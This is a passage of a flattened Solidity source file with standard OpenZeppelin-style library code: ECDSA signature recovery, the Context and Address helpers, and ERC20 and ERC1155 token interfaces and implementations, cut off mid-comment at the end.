if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
